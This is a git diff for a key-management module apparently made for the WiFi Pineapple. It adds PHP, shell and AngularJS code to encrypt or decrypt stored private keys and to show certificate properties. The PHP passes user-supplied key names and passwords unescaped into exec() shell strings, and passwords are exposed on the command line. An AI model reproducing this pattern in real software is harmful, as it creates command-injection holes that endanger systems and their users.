Encryption Error", "The following error occurred:\n\n" . $res); + return false; + } + return true; + } + + private function decryptKey($keyName, $keyType, $pass) { + $retData = array(); + $argString = "decryptKeys.sh -k " . $keyName . " -p " . $pass; + + if ($keyType == "SSH") { + $argString .= " --ssh"; + } + + exec(__SCRIPTS__ . $argString, $retData); + $res = implode("\n", $retData); + if ($res != "Complete") { + $this->logError("Key Decryption Error", "The following error occurred:\n\n" . $res); + return false; + } + return true; + } + /* Generates an OpenSSL config file based on the passed in requirements ($req) and returns the path to the file. @@ -327,6 +370,29 @@ class Papers extends Module $this->respond(true,null,$certs); } + private function loadCertificateProperties($cert) { + $retData = array(); + $res = []; + + exec(__SCRIPTS__ . "getCertInfo.sh -k " . $cert, $retData); + if (count($retData) == 0) { + $this->respond(false); + return false; + } + + // Create a mapping of the values that can be passed back to the front end + foreach ($retData as $line) { + $parts = explode("=", $line, 2); + $key = $parts[0]; + $val = $parts[1]; + $res[$key] = $val; + } + + // Return success and the contents of the tmp file + $this->respond(true, null, $res); + return true; + } + private function getKeys($dir) { $keyType = ($dir == __SSLSTORE__) ? "TLS/SSL" : "SSH"; $keys = scandir($dir); @@ -603,7 +669,17 @@ class Papers extends Module fclose($fh); } private function retrieveLog($logname, $type) { - $dir = ($type == "error") ? __LOGS__ : ($type == "help") ? __HELPFILES__ : __CHANGELOGS__; + switch($type) { + case "error": + $dir = __LOGS__; + break; + case "help": + $dir = __HELPFILES__; + break; + default: + $dir = __CHANGELOGS__; + break; + } $data = file_get_contents($dir . $logname); if (!$data) { $this->respond(false); diff --git a/Papers/includes/changelog/Version 1.6 b/Papers/includes/changelog/Version 1.6 new file mode 100644 index 0000000..b3abc63 --- /dev/null +++ b/Papers/includes/changelog/Version 1.6 @@ -0,0 +1,5 @@ +December 28, 2018

    +- Added feature to encrypt/decrypt existing private keys
    +- Added feature to view certificate properties in the web console
    +- Fixed a bug that prevented error logs from loading in the web console
    +- Removed null alert when enabling SSH keys
    \ No newline at end of file diff --git a/Papers/includes/help/store.help b/Papers/includes/help/store.help index db8df31..9317bf3 100755 --- a/Papers/includes/help/store.help +++ b/Papers/includes/help/store.help @@ -1,5 +1,5 @@ Encrypted
    -Displays if the private key (.pem) is encrypted. Does not include encryption on .pfx containers. +Displays if the private key is encrypted. Does not include encryption on .pfx containers.

    PineSSL / PineSSH
    @@ -13,6 +13,15 @@ For SSH key pairs this button has two modes (the state does not change for TLS/S

+Encrypt / Decrypt
+If this icon is highlighted green the private key is encrypted. Click the icon and enter the key's password to decrypt it.
+If the icon is not highlighted it is not encrypted. Click the icon, select an algorithm, and enter a password to encrypt it. +

+ +View Certificate
+View the human readable properties of the certificate. +

+ Download
Packages the keys in the selected row into a zip archive and downloads it.

diff --git a/Papers/includes/icons/glyphicons-28-search.png b/Papers/includes/icons/glyphicons-28-search.png new file mode 100644 index 0000000000000000000000000000000000000000..71ad70a3e62ea399c366b0fd2b9d55a64d78e84b GIT binary patch literal 1447 zcmaJ>TWs586!xZ!b)}u?7}BViFm6?L!SN+=Vp~b8BulVR2mmC$`G&%Qzc+bfX2G*VM7}5J59PiOtTdK z=RZE*Ip4YEkZ zj=CPj5u@mYG01c|1L-J4FxSCqAk=teh>a##f%Qdbmht&0 zD$cNRKba6nmJ&F4L{_jV-F8G>0&Y+jtK7j-_r&rs3y6+kWer2EjY@aHa16U(m}o3k z84Yw>T9g#sRc?2?S>+2Xet$s5MV5t<#F8>A zjxa%A4y)qjRi#@VXQ+Xhm^DJY5ZsPRZD>#1&VT6JA!<8|ZMSEx5e5zrXPof~;XuLL^&0cdW0cX^w2rddLlvrNj2dhhv#({C>>o|#8r;pkaC-X4;m|wVdJe7I`R4?F z;u{(HkJ{N(7*Ypc%j`JiH1B$>{Pa()O*bbpFCnkkmp?kdJ=!@v+i~&D$4{QSH1$_j zTzEeJubTY!2hW+Gdv49_UVmik9_8R84>WxFD}LqO3-RmC`DFVjKfHEI_;mB{pS<|_ zchMVXwH?_#_Yd#=v6I$Q6N76qmm06`V-H%BZS(W_>y7h$w^54u>iv--aXI+ZL&Ds| z(59ISZCmT6uYTz7`{(?%_ZFV}"; + echo "Use './decryptKeys.sh --examples' to see example commands"; + echo ''; + echo 'NOTE:'; + echo "Current SSL store is at $ssl_store"; + echo ''; + echo 'Parameters:'; + echo ''; + echo -e '\t-k:\tName of key to be decrypted'; + echo -e '\t-p:\tPassword to use to unlock the key'; + echo -e '\t--ssh:\tThe key to encrypt is in the SSH store'; + echo -e '\t--help:\tDisplays this help info'; + echo ''; +} + +examples() { + echo ''; + echo 'Examples:'; + echo 'Decrypt private key:'; + echo './decryptKeys.sh -k keyName -p password'; + echo ''; + echo ''; +} + +if [ "$#" -lt 1 ]; then + help; + exit; +fi + +while [ "$#" -gt 0 ] +do + +if [[ "$1" == "--examples" ]]; then + examples; + exit; +fi +if [[ "$1" == "--ssh" ]]; then + ssl_store=$ssh_store; +fi +if [[ "$1" == "--help" ]]; then + help; + exit; +fi +if [[ "$1" == "-k" ]]; then + KEY="$2"; +fi +if [[ "$1" == "-p" ]]; then + PASS="$2"; +fi + +shift +done; + +# Generate a password on the private key +openssl rsa -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passin pass:"$PASS" 2>/dev/null; +if [[ $? != 0 ]]; then + echo "Bad Password"; + exit; +fi + +echo "Complete" diff --git a/Papers/includes/scripts/encryptKeys.sh b/Papers/includes/scripts/encryptKeys.sh index 918a945..98c2d6f 100755 --- a/Papers/includes/scripts/encryptKeys.sh +++ b/Papers/includes/scripts/encryptKeys.sh @@ -5,6 +5,7 @@ # Location of SSL keys ssl_store="/pineapple/modules/Papers/includes/ssl/"; +ssh_store="/pineapple/modules/Papers/includes/ssh/"; help() { echo "Encryption/Export script for OpenSSL certificates"; @@ -21,6 +22,7 @@ help() { echo 'Encryption Options:'; echo ''; echo -e '\t--encrypt:\tMust be supplied to encrypt keys'; + echo -e '\t--ssh:\tThe key to encrypt is in the SSH store'; echo -e '\t-a:\t\tAlgorithm to use for key encryption (aes256, 3des, camellia256, etc)'; echo -e '\t-p:\t\tPassword to use for encryption'; echo ''; @@ -66,8 +68,11 @@ fi if [[ "$1" == "--encrypt" ]]; then ENCRYPT_KEYS=true; fi +if [[ "$1" == "--ssh" ]]; then + ssl_store=$ssh_store; +fi if [[ "$1" == "-a" ]]; then - ALGO="$2"; + ALGO="$2"; fi if [[ "$1" == "-k" ]]; then KEY="$2"; diff --git a/Papers/includes/scripts/getCertInfo.sh b/Papers/includes/scripts/getCertInfo.sh new file mode 100644 index 0000000..7655968 --- /dev/null +++ b/Papers/includes/scripts/getCertInfo.sh @@ -0,0 +1,51 @@ +#!/bin/sh + +# Author: sud0nick +# Date: Dec 2018 + +# Location of SSL keys +ssl_store="/pineapple/modules/Papers/includes/ssl/"; + +help() { + echo "Get certificate properties via OpenSSL"; + echo "Usage: ./getCertInfo.sh "; + echo ''; + echo 'NOTE:'; + echo "Current SSL store is at $ssl_store"; + echo ''; + echo 'Parameters:'; + echo ''; + echo -e '\t-k:\tKey from which to retrieve properties'; + echo ''; +} + +if [ "$#" -lt 1 ]; then + help; + exit; +fi + +while [ "$#" -gt 0 ] +do + +if [[ "$1" == "-k" ]]; then + KEY="$ssl_store$2.cer"; +fi + +shift +done; + +ISSUER=$(openssl x509 -in $KEY -noout -issuer | sed 's/^[^=]*=//g'); +FINGERPRINT=$(openssl x509 -in $KEY -noout -fingerprint | sed 's/^[^=]*=//g'); +SUBJECT=$(openssl x509 -in $KEY -noout -subject | sed 's/^[^=]*=//g'); +START_DATE=$(openssl x509 -in $KEY -noout -startdate | sed 's/^[^=]*=//g'); +END_DATE=$(openssl x509 -in $KEY -noout -enddate | sed 's/^[^=]*=//g'); +SERIAL=$(openssl x509 -in $KEY -noout -serial | sed 's/^[^=]*=//g'); +ALT_NAMES=$(openssl x509 -in $KEY -noout -text | grep DNS | sed 's/^[^:]*://g'); + +echo "issuer=$ISSUER"; +echo "fingerprint=$FINGERPRINT"; +echo "subject=$SUBJECT"; +echo "start=$START_DATE"; +echo "end=$END_DATE"; +echo "serial=$SERIAL"; +echo "dns=$ALT_NAMES"; diff --git a/Papers/js/module.js b/Papers/js/module.js index c1b8e50..588497b 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -34,6 +34,13 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.dependsProcessing = false; $scope.selectedFiles = []; $scope.uploading = false; + $scope.selectedKey = ''; + $scope.certDecryptPassword = ''; + $scope.encrypting = false; + $scope.decrypting = false; + $scope.viewCert = ''; + $scope.selectedCert = ''; + $scope.loadingCert = false; $scope.checkDepends = (function(){ $api.request({ @@ -159,6 +166,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct action: 'buildCert', parameters: params },function(response) { + $scope.certKeyName = ''; $scope.getLogs(); $scope.showBuildThrobber = false; $scope.loadCertificates(); @@ -166,6 +174,94 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct }); } }); + + $scope.loadCertProps = (function(cert){ + + $scope.loadingCert = true; + $scope.viewCert = ''; + $scope.selectedCert = cert; + + $api.request({ + module: 'Papers', + action: 'loadCertProps', + certName: cert + },function(response){ + $scope.loadingCert = false; + if (response === false) { + $('#viewCert').modal('hide'); + return; + } + $scope.viewCert = response.data; + }); + }); + + $scope.selectKey = (function(key, type) { + $scope.certEncryptAlgo = "aes256"; + $scope.certEncryptPassword = ''; + $scope.selectedKey = key; + $scope.selectedKeyType = type; + }); + + $scope.encryptKey = (function(name, type, algo, pass) { + + if (pass.length == 0) { + return; + } + + $scope.encrypting = true; + + $api.request({ + module: 'Papers', + action: 'encryptKey', + keyName: name, + keyType: type, + keyAlgo: algo, + keyPass: pass + },function(response){ + + $scope.encrypting = false; + $scope.certEncryptPassword = ''; + + if (response.success === false) { + alert("Failed to encrypt key. Check the logs for more info."); + $scope.getLogs(); + return; + } + $scope.loadCertificates(); + $('#encryptModal').modal('hide'); + }); + }); + + $scope.decryptKey = (function(name, type, pass) { + + if (pass.length == 0) { + return; + } + + $scope.decrypting = true; + + $api.request({ + module: 'Papers', + action: 'decryptKey', + keyName: name, + keyType: type, + keyPass: pass + },function(response){ + + $scope.decrypting = false; + $scope.certDecryptPassword = ''; + + if (response.success === false) { + alert("Failed to decrypt key. Ensure you have entered the password correctly."); + $scope.getLogs(); + return; + } + $scope.loadCertificates(); + $('#decryptModal').modal('hide'); + }); + + + }); $scope.clearForm = (function() { $scope.certKeyType = "tls_ssl"; @@ -263,7 +359,6 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct } } else { // Alert error - alert(response.message); } $scope.loadCertificates(); }); @@ -350,6 +445,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct parameters: log, type: type },function(response){ + console.log(response); if (response.success === true) { $scope.currentLogData = $sce.trustAsHtml(response.data); } diff --git a/Papers/module.html b/Papers/module.html index 2d0cade..a675dfd 100755 --- a/Papers/module.html +++ b/Papers/module.html @@ -113,6 +113,14 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Serial{{ viewCert.serial }}
Subject{{ viewCert.subject }}
Issuer{{ viewCert.issuer }}
Subject Alt Names{{ viewCert.dns }}
Start Date{{ viewCert.start }}
End Date{{ viewCert.end }}
Fingerprint{{ viewCert.fingerprint }}
+ +
+
+
+
+ - + + + + +
diff --git a/Papers/module.info b/Papers/module.info index 11d547d..65f26ee 100755 --- a/Papers/module.info +++ b/Papers/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Papers", - "version": "1.5" + "version": "1.6" } \ No newline at end of file